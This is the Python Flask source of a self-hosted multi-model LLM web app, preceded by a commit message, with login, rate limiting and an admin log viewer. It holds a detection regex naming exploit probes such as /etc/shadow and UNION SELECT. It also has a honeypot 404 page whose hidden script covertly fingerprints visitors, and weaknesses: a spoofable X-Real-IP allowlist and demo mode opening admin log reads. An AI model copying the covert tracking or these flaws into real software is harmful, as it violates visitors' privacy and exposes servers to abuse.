Database: - threat_intel table with full enrichment data per IP - UPSERT on IP — re-enriching updates existing record - Stores: geo, AI analysis, web-check results, indicators, raw JSON - Indexed on IP (unique), threat_level, enriched_at Auto-save: - Every enrichment auto-saves to DB (step 5 in enrichment pipeline) - "Saved to Wall of Shame database" indicator in enrichment panel - No duplicate scans — re-enrich updates the existing record Wall of Shame tab (/logs): - Stats bar: Total Profiled, Critical, High, Proxies, Automated - Sortable table: IP, Threat, Type, Summary, Country, Ports - Click any row to expand full detail: ISP, Org, ASN, City, Proxy/Hosting flags, Confidence, Blocklist count, Pattern, Recommendation, Indicators - All data persists across restarts — no re-scanning needed API: - /api/admin/wall-of-shame — list all enriched IPs with sorting/filtering Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
6567 lines
340 KiB
Python
6567 lines
340 KiB
Python
#!/usr/bin/env python3
|
|
"""LLM Team UI - Web interface to configure and run multi-model teams."""
|
|
|
|
import json
|
|
import os
|
|
import time
|
|
import threading
|
|
import secrets
|
|
import hashlib
|
|
import logging
|
|
import re
|
|
import requests
|
|
import random
|
|
import psycopg2
|
|
import psycopg2.extras
|
|
import bcrypt
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from flask import Flask, render_template_string, request, jsonify, Response, redirect, url_for, session
|
|
from functools import wraps
|
|
|
|
app = Flask(__name__)
|
|
app.secret_key = os.environ.get("FLASK_SECRET", secrets.token_hex(32))
|
|
|
|
# ─── SECURITY LOGGING ─────────────────────────────────────────
|
|
# Dedicated security log for fail2ban and audit trail
|
|
_sec_handler = logging.FileHandler("/var/log/llm-team-security.log")
|
|
_sec_handler.setFormatter(logging.Formatter("%(asctime)s %(message)s"))
|
|
sec_log = logging.getLogger("security")
|
|
sec_log.addHandler(_sec_handler)
|
|
sec_log.setLevel(logging.WARNING)
|
|
|
|
# ─── EMAIL ALERTS ──────────────────────────────────────────────
|
|
SMTP_HOST = os.environ.get("SMTP_HOST", "127.0.0.1")
|
|
SMTP_PORT = int(os.environ.get("SMTP_PORT", "1025"))
|
|
ALERT_FROM = os.environ.get("ALERT_FROM", "security@island37.com")
|
|
ALERT_TO = os.environ.get("ALERT_TO", "admin@island37.com")
|
|
|
|
def send_security_alert(subject, body):
|
|
"""Send security alert email (non-blocking)."""
|
|
def _send():
|
|
try:
|
|
import smtplib
|
|
from email.message import EmailMessage
|
|
msg = EmailMessage()
|
|
msg["Subject"] = f"[LLM Team Security] {subject}"
|
|
msg["From"] = ALERT_FROM
|
|
msg["To"] = ALERT_TO
|
|
msg.set_content(body)
|
|
with smtplib.SMTP(SMTP_HOST, SMTP_PORT, timeout=5) as s:
|
|
s.send_message(msg)
|
|
except Exception as e:
|
|
sec_log.error("EMAIL_FAILED subject=%s error=%s", subject, str(e))
|
|
threading.Thread(target=_send, daemon=True).start()
|
|
|
|
# Known exploit paths that scanners probe
|
|
EXPLOIT_PATTERNS = re.compile(
|
|
r"(\.env|wp-admin|wp-login|phpmyadmin|\.git|/admin\.php|/config\.|"
|
|
r"\.asp|\.aspx|/cgi-bin|/shell|/eval|/exec|/passwd|/etc/shadow|"
|
|
r"\.\./|%2e%2e|<script|%3cscript|union\s+select|;--|UNION|SELECT\s.*FROM)",
|
|
re.IGNORECASE
|
|
)
|
|
|
|
# ─── AUTH + DEMO MODE ─────────────────────────────────────────
|
|
|
|
_rate_limit = {} # ip -> (count, window_start)
|
|
RATE_LIMIT_WINDOW = 60
|
|
RATE_LIMIT_MAX = 60
|
|
LOGIN_RATE_MAX = 5
|
|
|
|
# IPs that never get rate-limited (your LAN, localhost)
|
|
ALLOWLIST_IPS = {"127.0.0.1", "::1", "192.168.1.1"}
|
|
# Demo mode state — toggled by admin at runtime
|
|
_demo_mode = {"active": False, "started_by": None}
|
|
|
|
# Admin-only write routes — blocked in demo for non-admin users
|
|
ADMIN_WRITE_ROUTES = {
|
|
"/api/admin/config": ["POST"],
|
|
"/api/admin/test-provider": ["POST"],
|
|
"/api/auth/login": ["POST"],
|
|
}
|
|
|
|
|
|
def is_allowlisted(ip):
|
|
return ip in ALLOWLIST_IPS or ip.startswith("192.168.1.")
|
|
|
|
|
|
def rate_limited(ip, max_req=RATE_LIMIT_MAX):
|
|
if is_allowlisted(ip):
|
|
return False
|
|
now = time.time()
|
|
if ip not in _rate_limit or now - _rate_limit[ip][1] > RATE_LIMIT_WINDOW:
|
|
_rate_limit[ip] = (1, now)
|
|
return False
|
|
count, start = _rate_limit[ip]
|
|
if count >= max_req:
|
|
return True
|
|
_rate_limit[ip] = (count + 1, start)
|
|
return False
|
|
|
|
|
|
def is_admin():
|
|
return session.get("role") == "admin"
|
|
|
|
|
|
def is_demo():
|
|
return _demo_mode["active"]
|
|
|
|
|
|
def login_required(f):
|
|
@wraps(f)
|
|
def decorated(*args, **kwargs):
|
|
# Demo mode: everyone gets in
|
|
if is_demo() and not session.get("user_id"):
|
|
session["demo_user"] = True
|
|
if not session.get("user_id") and not is_demo():
|
|
if request.path.startswith("/api/"):
|
|
return jsonify({"error": "unauthorized"}), 401
|
|
return redirect("/login")
|
|
return f(*args, **kwargs)
|
|
return decorated
|
|
|
|
|
|
def admin_required(f):
|
|
@wraps(f)
|
|
def decorated(*args, **kwargs):
|
|
# Demo mode: allow read access (GET), block writes unless admin
|
|
if is_demo():
|
|
if request.method == "GET":
|
|
return f(*args, **kwargs)
|
|
if not is_admin():
|
|
return jsonify({"error": "demo mode: read-only", "demo": True}), 403
|
|
if not session.get("user_id"):
|
|
if request.path.startswith("/api/"):
|
|
return jsonify({"error": "unauthorized"}), 401
|
|
return redirect("/login")
|
|
if session.get("role") != "admin":
|
|
return "Forbidden", 403
|
|
return f(*args, **kwargs)
|
|
return decorated
|
|
|
|
|
|
@app.before_request
|
|
def security_checks():
|
|
ip = request.headers.get("X-Real-IP", request.remote_addr)
|
|
path = request.path
|
|
ua = request.headers.get("User-Agent", "")
|
|
|
|
# Exploit scanner detection — log, alert, and block
|
|
if EXPLOIT_PATTERNS.search(path) or EXPLOIT_PATTERNS.search(request.query_string.decode("utf-8", errors="ignore")):
|
|
sec_log.warning("EXPLOIT_SCAN ip=%s path=%s ua=%s", ip, path, ua)
|
|
send_security_alert(
|
|
f"Exploit Scan from {ip}",
|
|
f"IP: {ip}\nPath: {path}\nUser-Agent: {ua}\nTime: {time.strftime('%Y-%m-%d %H:%M:%S')}"
|
|
)
|
|
return "Not Found", 404
|
|
|
|
# Rate limit (allowlisted IPs skip)
|
|
if rate_limited(ip):
|
|
sec_log.warning("RATE_LIMITED ip=%s path=%s", ip, path)
|
|
return jsonify({"error": "rate limited"}), 429
|
|
|
|
# Always allow these
|
|
if path in ("/login", "/api/auth/login", "/api/auth/setup", "/api/demo/status"):
|
|
return
|
|
if path.startswith("/static"):
|
|
return
|
|
|
|
# In demo mode, block admin write routes for non-admins
|
|
if is_demo() and not is_admin():
|
|
for route, methods in ADMIN_WRITE_ROUTES.items():
|
|
if path == route and request.method in methods:
|
|
return jsonify({"error": "demo mode: admin settings are read-only", "demo": True}), 403
|
|
|
|
|
|
@app.after_request
|
|
def security_headers(response):
|
|
response.headers["X-Content-Type-Options"] = "nosniff"
|
|
response.headers["X-Frame-Options"] = "DENY"
|
|
response.headers["X-XSS-Protection"] = "1; mode=block"
|
|
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
|
|
response.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'"
|
|
response.headers["Permissions-Policy"] = "camera=(), microphone=(), geolocation=()"
|
|
if request.path.startswith("/api/"):
|
|
response.headers["Cache-Control"] = "no-store"
|
|
return response
|
|
|
|
|
|
HONEYPOT_404_HTML = """
|
|
<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><title>404 Not Found</title>
|
|
<style>
|
|
:root{--bg:#0a0c10;--surface:#151820;--border:#272d3f;--text:#e4e4e7;--text2:#a1a1aa;--accent:#6366f1}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',-apple-system,sans-serif;background:var(--bg);color:var(--text);min-height:100vh;display:flex;align-items:center;justify-content:center;flex-direction:column}
|
|
.box{background:var(--surface);border:1px solid var(--border);border-radius:14px;padding:40px;max-width:480px;text-align:center;box-shadow:0 0 40px rgba(99,102,241,0.06)}
|
|
h1{font-size:64px;font-weight:800;color:var(--accent);margin-bottom:8px}
|
|
h2{font-size:18px;color:var(--text2);margin-bottom:20px;font-weight:400}
|
|
p{color:var(--text2);font-size:14px;line-height:1.6;margin-bottom:20px}
|
|
a{color:var(--accent);text-decoration:none}
|
|
a:hover{text-decoration:underline}
|
|
.meta{font-size:11px;color:#444;margin-top:24px}
|
|
</style>
|
|
</head><body>
|
|
<div class="box">
|
|
<h1>404</h1>
|
|
<h2>Page not found</h2>
|
|
<p>The page you're looking for doesn't exist or has been moved.</p>
|
|
<a href="/login">Go to login</a>
|
|
<div class="meta">
|
|
<!-- fp:{{FINGERPRINT}} -->
|
|
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none"
|
|
onerror="(function(){try{var d={ts:Date.now(),tz:Intl.DateTimeFormat().resolvedOptions().timeZone,lang:navigator.language,plat:navigator.platform,cores:navigator.hardwareConcurrency,mem:navigator.deviceMemory||0,touch:'ontouchstart' in window,screen:screen.width+'x'+screen.height,dpr:window.devicePixelRatio,plugins:navigator.plugins.length,webgl:(function(){try{var c=document.createElement('canvas');var g=c.getContext('webgl');return g.getParameter(g.RENDERER)}catch(e){return'none'}})()};fetch('/api/fp',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(d)}).catch(function(){})}catch(e){}})()">
|
|
</div>
|
|
</div>
|
|
</body></html>
|
|
"""
|
|
|
|
|
|
@app.errorhandler(404)
|
|
def page_not_found(e):
|
|
ip = request.headers.get("X-Real-IP", request.remote_addr)
|
|
ua = request.headers.get("User-Agent", "")
|
|
path = request.path
|
|
referer = request.headers.get("Referer", "")
|
|
method = request.method
|
|
accept_lang = request.headers.get("Accept-Language", "")
|
|
accept_enc = request.headers.get("Accept-Encoding", "")
|
|
|
|
# Build fingerprint hash from request characteristics
|
|
fp_raw = f"{ua}|{accept_lang}|{accept_enc}|{request.headers.get('Connection','')}|{request.headers.get('DNT','')}"
|
|
fp_hash = hashlib.sha256(fp_raw.encode()).hexdigest()[:16]
|
|
|
|
# Classify threat level
|
|
threat = "low"
|
|
if EXPLOIT_PATTERNS.search(path):
|
|
threat = "high"
|
|
elif any(s in path.lower() for s in ("/admin", "/config", "/api/", "/debug", "/console", "/server-status")):
|
|
threat = "medium"
|
|
elif not ua or "bot" in ua.lower() or "scanner" in ua.lower() or "nikto" in ua.lower() or "sqlmap" in ua.lower():
|
|
threat = "high"
|
|
|
|
sec_log.warning(
|
|
"404_HIT ip=%s fp=%s threat=%s method=%s path=%s referer=%s ua=%s",
|
|
ip, fp_hash, threat, method, path, referer, ua
|
|
)
|
|
|
|
html = HONEYPOT_404_HTML.replace("{{FINGERPRINT}}", fp_hash)
|
|
return html, 404
|
|
|
|
|
|
@app.route("/api/fp", methods=["POST"])
|
|
def fingerprint_collect():
|
|
"""Silent endpoint that collects browser fingerprint data from 404 pages."""
|
|
ip = request.headers.get("X-Real-IP", request.remote_addr)
|
|
data = request.json or {}
|
|
ua = request.headers.get("User-Agent", "")
|
|
|
|
# Build server-side fingerprint
|
|
fp_raw = f"{ua}|{request.headers.get('Accept-Language','')}|{request.headers.get('Accept-Encoding','')}|{request.headers.get('Connection','')}|{request.headers.get('DNT','')}"
|
|
fp_hash = hashlib.sha256(fp_raw.encode()).hexdigest()[:16]
|
|
|
|
sec_log.warning(
|
|
"FINGERPRINT ip=%s fp=%s tz=%s lang=%s platform=%s cores=%s mem=%s touch=%s screen=%s dpr=%s plugins=%s webgl=%s",
|
|
ip, fp_hash,
|
|
data.get("tz", ""), data.get("lang", ""), data.get("plat", ""),
|
|
data.get("cores", ""), data.get("mem", ""), data.get("touch", ""),
|
|
data.get("screen", ""), data.get("dpr", ""), data.get("plugins", ""),
|
|
data.get("webgl", "")
|
|
)
|
|
return "", 204
|
|
|
|
|
|
LOGIN_HTML = """
|
|
<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
|
|
<title>LLM Team - Login</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--accent2:#f0cc74;--red:#e05252;--green:#4ade80;--glow:rgba(226,181,90,0.06)}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;display:flex;align-items:center;justify-content:center;overflow:hidden}
|
|
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.03) 2px,rgba(0,0,0,0.03) 4px)}
|
|
.vignette{position:fixed;inset:0;z-index:1;pointer-events:none;background:radial-gradient(ellipse at center,transparent 50%,rgba(0,0,0,0.6) 100%)}
|
|
.login-box{background:var(--surface);border:2px solid var(--border);border-radius:2px;padding:40px;width:400px;position:relative;z-index:10;backdrop-filter:blur(20px);box-shadow:0 0 60px rgba(226,181,90,0.04),0 1px 0 rgba(226,181,90,0.1) inset}
|
|
.login-box::before{content:'';position:absolute;top:-1px;left:20px;right:20px;height:1px;background:linear-gradient(90deg,transparent,var(--accent),transparent);opacity:0.4}
|
|
.login-box h1{font-family:'JetBrains Mono',monospace;font-size:20px;margin-bottom:4px;font-weight:700;letter-spacing:-0.5px}
|
|
.login-box h1 span{color:var(--accent)}
|
|
.login-box .sub{color:var(--text2);font-size:12px;margin-bottom:28px;font-family:'JetBrains Mono',monospace;letter-spacing:0.5px;text-transform:uppercase}
|
|
.field{margin-bottom:16px}
|
|
.field label{display:block;font-size:10px;color:var(--text2);margin-bottom:6px;font-weight:600;text-transform:uppercase;letter-spacing:1.5px;font-family:'JetBrains Mono',monospace}
|
|
.field input{width:100%;background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:11px 14px;font-size:14px;font-family:'JetBrains Mono',monospace;transition:border-color 0.15s}
|
|
.field input:focus{outline:none;border-color:var(--accent);box-shadow:0 0 0 1px var(--accent)}
|
|
.btn{width:100%;padding:12px;background:var(--accent);color:#08090c;border:none;border-radius:2px;font-size:13px;font-weight:700;cursor:pointer;transition:all .15s;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px}
|
|
.btn:hover{background:var(--accent2);box-shadow:0 0 20px rgba(226,181,90,0.2)}
|
|
.error{color:var(--red);font-size:11px;margin-bottom:12px;display:none;font-family:'JetBrains Mono',monospace;border-left:2px solid var(--red);padding-left:8px}
|
|
.setup-note{color:var(--green);font-size:11px;margin-bottom:12px;display:none;font-family:'JetBrains Mono',monospace;border-left:2px solid var(--green);padding-left:8px}
|
|
.sys-tag{font-family:'JetBrains Mono',monospace;font-size:9px;color:var(--text2);text-transform:uppercase;letter-spacing:2px;margin-top:20px;text-align:center;opacity:0.4}
|
|
</style>
|
|
</head><body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="vignette"></div>
|
|
<div class="login-box">
|
|
<h1><span>LLM</span> Team</h1>
|
|
<p class="sub" id="subtitle">Sign in to continue</p>
|
|
<div class="error" id="error"></div>
|
|
<div class="setup-note" id="setup-note"></div>
|
|
<form id="login-form" onsubmit="return doLogin(event)">
|
|
<div class="field"><label>Username</label><input id="username" autocomplete="username" required></div>
|
|
<div class="field"><label>Password</label><input id="password" type="password" autocomplete="current-password" required></div>
|
|
<div class="field" id="confirm-field" style="display:none"><label>Confirm Password</label><input id="confirm" type="password"></div>
|
|
<button class="btn" type="submit" id="submit-btn">Sign In</button>
|
|
</form>
|
|
<div class="sys-tag">SYS.AUTH // v3.2</div>
|
|
</div>
|
|
<script>
|
|
!function(){const c=document.getElementById('bg-grid'),x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);let t=0;function draw(){x.clearRect(0,0,c.width,c.height);const s=40,ox=(t*0.3)%s,oy=(t*0.15)%s;x.fillStyle='rgba(226,181,90,0.03)';for(let gx=-s+ox;gx<c.width+s;gx+=s){for(let gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.8,0,Math.PI*2);x.fill()}}if(Math.random()>0.97){const ly=Math.random()*c.height;x.strokeStyle='rgba(226,181,90,0.015)';x.lineWidth=1;x.beginPath();x.moveTo(0,ly);x.lineTo(c.width,ly);x.stroke()}t++;requestAnimationFrame(draw)}draw()}();
|
|
</script>
|
|
<script>
|
|
let isSetup = false;
|
|
async function checkSetup() {
|
|
const r = await fetch('/api/auth/setup');
|
|
const d = await r.json();
|
|
if (d.needs_setup) {
|
|
isSetup = true;
|
|
document.getElementById('subtitle').textContent = 'Create your admin account';
|
|
document.getElementById('confirm-field').style.display = '';
|
|
document.getElementById('submit-btn').textContent = 'Create Account';
|
|
document.getElementById('setup-note').textContent = 'First time setup — this will be the admin account.';
|
|
document.getElementById('setup-note').style.display = '';
|
|
}
|
|
}
|
|
async function doLogin(e) {
|
|
e.preventDefault();
|
|
const user = document.getElementById('username').value;
|
|
const pass = document.getElementById('password').value;
|
|
const err = document.getElementById('error');
|
|
err.style.display = 'none';
|
|
if (isSetup) {
|
|
const confirm = document.getElementById('confirm').value;
|
|
if (pass !== confirm) { err.textContent = 'Passwords do not match'; err.style.display = ''; return false; }
|
|
if (pass.length < 8) { err.textContent = 'Password must be at least 8 characters'; err.style.display = ''; return false; }
|
|
}
|
|
const r = await fetch('/api/auth/login', {method:'POST', headers:{'Content-Type':'application/json'},
|
|
body: JSON.stringify({username: user, password: pass, setup: isSetup})});
|
|
const d = await r.json();
|
|
if (d.ok) { window.location.href = '/'; }
|
|
else { err.textContent = d.error || 'Login failed'; err.style.display = ''; }
|
|
return false;
|
|
}
|
|
checkSetup();
|
|
</script>
|
|
</body></html>
|
|
"""
|
|
|
|
|
|
@app.route("/login")
|
|
def login_page():
|
|
if session.get("user_id"):
|
|
return redirect("/")
|
|
return LOGIN_HTML
|
|
|
|
|
|
@app.route("/api/auth/setup")
|
|
def auth_setup():
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute("SELECT COUNT(*) FROM users")
|
|
count = cur.fetchone()[0]
|
|
return jsonify({"needs_setup": count == 0})
|
|
except Exception:
|
|
return jsonify({"needs_setup": True})
|
|
|
|
|
|
@app.route("/api/auth/login", methods=["POST"])
|
|
def auth_login():
|
|
ip = request.remote_addr
|
|
if rate_limited(ip, LOGIN_RATE_MAX):
|
|
return jsonify({"error": "Too many attempts. Wait a minute."}), 429
|
|
|
|
data = request.json or {}
|
|
username = data.get("username", "").strip()
|
|
password = data.get("password", "")
|
|
is_setup = data.get("setup", False)
|
|
|
|
if not username or not password:
|
|
return jsonify({"error": "Username and password required"}), 400
|
|
|
|
if len(password) < 8:
|
|
return jsonify({"error": "Password must be at least 8 characters"}), 400
|
|
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
|
if is_setup:
|
|
# First-time setup: create admin
|
|
cur.execute("SELECT COUNT(*) as c FROM users")
|
|
if cur.fetchone()["c"] > 0:
|
|
return jsonify({"error": "Setup already completed"}), 400
|
|
pw_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt()).decode()
|
|
cur.execute("INSERT INTO users (username, password_hash, role) VALUES (%s, %s, 'admin') RETURNING id",
|
|
(username, pw_hash))
|
|
uid = cur.fetchone()["id"]
|
|
conn.commit()
|
|
session["user_id"] = uid
|
|
session["username"] = username
|
|
session["role"] = "admin"
|
|
session.permanent = True
|
|
return jsonify({"ok": True})
|
|
|
|
# Normal login
|
|
cur.execute("SELECT * FROM users WHERE username = %s", (username,))
|
|
user = cur.fetchone()
|
|
if not user or not bcrypt.checkpw(password.encode(), user["password_hash"].encode()):
|
|
sec_log.warning("LOGIN_FAILED ip=%s user=%s", ip, username)
|
|
send_security_alert(
|
|
f"Failed Login from {ip}",
|
|
f"IP: {ip}\nUsername attempted: {username}\nTime: {time.strftime('%Y-%m-%d %H:%M:%S')}"
|
|
)
|
|
return jsonify({"error": "Invalid credentials"}), 401
|
|
|
|
session["user_id"] = user["id"]
|
|
session["username"] = user["username"]
|
|
session["role"] = user["role"]
|
|
session.permanent = True
|
|
return jsonify({"ok": True})
|
|
except Exception as e:
|
|
return jsonify({"error": str(e)}), 500
|
|
|
|
|
|
@app.route("/api/auth/logout", methods=["POST"])
|
|
def auth_logout():
|
|
session.clear()
|
|
return jsonify({"ok": True})
|
|
|
|
|
|
@app.route("/logout")
|
|
def logout_page():
|
|
session.clear()
|
|
return redirect("/login")
|
|
|
|
|
|
@app.route("/api/demo/status")
|
|
def demo_status():
|
|
return jsonify({"active": is_demo(), "started_by": _demo_mode.get("started_by")})
|
|
|
|
|
|
@app.route("/api/demo/toggle", methods=["POST"])
|
|
def demo_toggle():
|
|
if not session.get("user_id") or not is_admin():
|
|
return jsonify({"error": "admin only"}), 403
|
|
_demo_mode["active"] = not _demo_mode["active"]
|
|
_demo_mode["started_by"] = session.get("username") if _demo_mode["active"] else None
|
|
return jsonify({"active": _demo_mode["active"]})
|
|
|
|
|
|
@app.route("/api/demo/allowlist", methods=["GET"])
|
|
def demo_get_allowlist():
|
|
if not is_admin():
|
|
return jsonify({"error": "admin only"}), 403
|
|
return jsonify({"ips": sorted(ALLOWLIST_IPS)})
|
|
|
|
|
|
@app.route("/api/demo/allowlist", methods=["POST"])
|
|
def demo_set_allowlist():
|
|
if not is_admin():
|
|
return jsonify({"error": "admin only"}), 403
|
|
data = request.json or {}
|
|
ip = data.get("ip", "").strip()
|
|
action = data.get("action", "add")
|
|
if not ip:
|
|
return jsonify({"error": "ip required"}), 400
|
|
if action == "add":
|
|
ALLOWLIST_IPS.add(ip)
|
|
elif action == "remove" and ip in ALLOWLIST_IPS:
|
|
ALLOWLIST_IPS.discard(ip)
|
|
return jsonify({"ips": sorted(ALLOWLIST_IPS)})
|
|
|
|
|
|
@app.route("/logs")
|
|
@admin_required
|
|
def logs_page():
|
|
return LOGS_HTML
|
|
|
|
@app.route("/api/admin/logs")
|
|
@admin_required
|
|
def admin_logs():
|
|
source = request.args.get("source", "app")
|
|
limit = min(int(request.args.get("limit", 100)), 500)
|
|
lines = []
|
|
try:
|
|
if source == "nginx_access":
|
|
with open("/var/log/nginx/access.log") as f:
|
|
lines = f.readlines()[-limit:]
|
|
elif source == "nginx_error":
|
|
with open("/var/log/nginx/error.log") as f:
|
|
lines = f.readlines()[-limit:]
|
|
elif source == "security":
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
lines = f.readlines()[-limit:]
|
|
elif source == "runs":
|
|
return jsonify({"lines": [], "runs": list(reversed(_run_log[-limit:]))})
|
|
else:
|
|
# App log — get from journalctl
|
|
import subprocess
|
|
result = subprocess.run(
|
|
["journalctl", "-u", "llm-team-ui", "--no-pager", "-n", str(limit), "--output=short-iso"],
|
|
capture_output=True, text=True, timeout=5
|
|
)
|
|
lines = result.stdout.strip().split("\n") if result.stdout else []
|
|
except Exception as e:
|
|
lines = [f"Error reading log: {e}"]
|
|
return jsonify({"lines": [l.rstrip() for l in lines]})
|
|
|
|
|
|
LOGS_HTML = r"""<!DOCTYPE html>
|
|
<html lang="en"><head>
|
|
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0">
|
|
<title>LLM Team — Logs</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root{--bg:#08090c;--surface:rgba(14,16,22,0.85);--border:#2a2d35;--text:#e8e6e3;--text2:#7a7872;--accent:#e2b55a;--green:#4ade80;--red:#e05252;--blue:#5b9cf5}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;padding:20px 28px}
|
|
canvas#bg-grid{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
.scanlines{position:fixed;inset:0;z-index:1;pointer-events:none;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.02) 2px,rgba(0,0,0,0.02) 4px)}
|
|
.wrap{position:relative;z-index:10;max-width:1400px;margin:0 auto}
|
|
header{display:flex;align-items:center;gap:14px;padding-bottom:18px;border-bottom:2px solid var(--border);margin-bottom:20px}
|
|
h1{font-family:'JetBrains Mono',monospace;font-size:18px;font-weight:700}
|
|
h1 span{color:var(--accent)}
|
|
.back{color:var(--text2);text-decoration:none;font-size:10px;font-family:'JetBrains Mono',monospace;text-transform:uppercase;letter-spacing:1px;border:2px solid var(--border);padding:5px 12px;border-radius:2px;margin-left:auto}
|
|
.back:hover{border-color:var(--accent);color:var(--accent)}
|
|
.tabs{display:flex;gap:4px;margin-bottom:16px;flex-wrap:wrap}
|
|
.tab{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:1px;padding:8px 16px;border:2px solid var(--border);border-radius:2px;background:transparent;color:var(--text2);cursor:pointer;transition:all 0.15s}
|
|
.tab:hover{border-color:var(--accent);color:var(--text)}
|
|
.tab.active{border-color:var(--accent);color:var(--accent);background:rgba(226,181,90,0.06)}
|
|
.tab.err{border-color:rgba(224,82,82,0.3);color:var(--red)}
|
|
.tab.err.active{background:rgba(224,82,82,0.06)}
|
|
.controls{display:flex;gap:8px;align-items:center;margin-bottom:12px}
|
|
.controls label{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;color:var(--text2)}
|
|
.controls select,.controls input{background:rgba(0,0,0,0.4);border:2px solid var(--border);color:var(--text);border-radius:2px;padding:4px 8px;font-size:11px;font-family:'JetBrains Mono',monospace}
|
|
.controls button{font-family:'JetBrains Mono',monospace;font-size:10px;text-transform:uppercase;letter-spacing:0.5px;padding:6px 14px;border:2px solid var(--accent);border-radius:2px;background:var(--accent);color:#08090c;cursor:pointer;font-weight:700}
|
|
.controls button:hover{background:var(--accent2)}
|
|
.log-view{background:rgba(0,0,0,0.4);border:2px solid var(--border);border-radius:2px;padding:0;font-family:'JetBrains Mono',monospace;font-size:11px;line-height:1.7;overflow:auto;max-height:calc(100vh - 220px);backdrop-filter:blur(16px)}
|
|
.log-line{padding:2px 14px;border-bottom:1px solid rgba(42,45,53,0.3);white-space:pre-wrap;word-break:break-all}
|
|
.log-line:hover{background:rgba(226,181,90,0.03)}
|
|
.log-line.err{color:var(--red);background:rgba(224,82,82,0.04)}
|
|
.log-line.warn{color:#f59e0b}
|
|
.log-line.info{color:var(--text2)}
|
|
.log-line .ts{color:var(--text2);opacity:0.5;margin-right:8px}
|
|
.log-line .status-2xx{color:var(--green)}
|
|
.log-line .status-3xx{color:var(--blue)}
|
|
.log-line .status-4xx{color:#f59e0b}
|
|
.log-line .status-5xx{color:var(--red)}
|
|
.run-card{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:12px;margin-bottom:6px}
|
|
.run-card.has-errors{border-color:var(--red)}
|
|
.run-row{display:flex;gap:8px;align-items:center;flex-wrap:wrap;margin-bottom:4px}
|
|
.tag{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;padding:3px 8px;border:1px solid;border-radius:1px;font-weight:600}
|
|
.tag-mode{color:var(--accent);border-color:rgba(226,181,90,0.3)}
|
|
.tag-time{color:var(--text2);border-color:var(--border)}
|
|
.tag-ok{color:var(--green);border-color:rgba(74,222,128,0.3)}
|
|
.tag-err{color:var(--red);border-color:rgba(224,82,82,0.3)}
|
|
.run-prompt{font-size:11px;color:var(--text2);margin:4px 0}
|
|
.run-error{font-size:10px;color:var(--red);border-left:2px solid var(--red);padding-left:8px;margin:4px 0}
|
|
.empty{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--text2);padding:40px;text-align:center;opacity:0.5}
|
|
.filter-input{flex:1}
|
|
.threat-card{background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:12px 14px;margin-bottom:6px;display:flex;align-items:flex-start;gap:12px}
|
|
.threat-card.critical{border-color:var(--red);background:rgba(224,82,82,0.04)}
|
|
.threat-card.high{border-color:#f59e0b;background:rgba(245,158,11,0.03)}
|
|
.threat-card.banned{opacity:0.5}
|
|
.threat-ip{font-family:'JetBrains Mono',monospace;font-size:13px;font-weight:700;min-width:130px;color:var(--text)}
|
|
.threat-info{flex:1;min-width:0}
|
|
.threat-row{display:flex;gap:6px;flex-wrap:wrap;margin-bottom:4px}
|
|
.threat-paths{font-family:'JetBrains Mono',monospace;font-size:9px;color:var(--text2);margin-top:4px}
|
|
.threat-actions{display:flex;gap:4px;flex-shrink:0}
|
|
.ban-btn{font-family:'JetBrains Mono',monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;padding:5px 12px;border:2px solid;border-radius:2px;cursor:pointer;font-weight:700;background:transparent}
|
|
.ban-btn.ban{color:var(--red);border-color:rgba(224,82,82,0.4)}
|
|
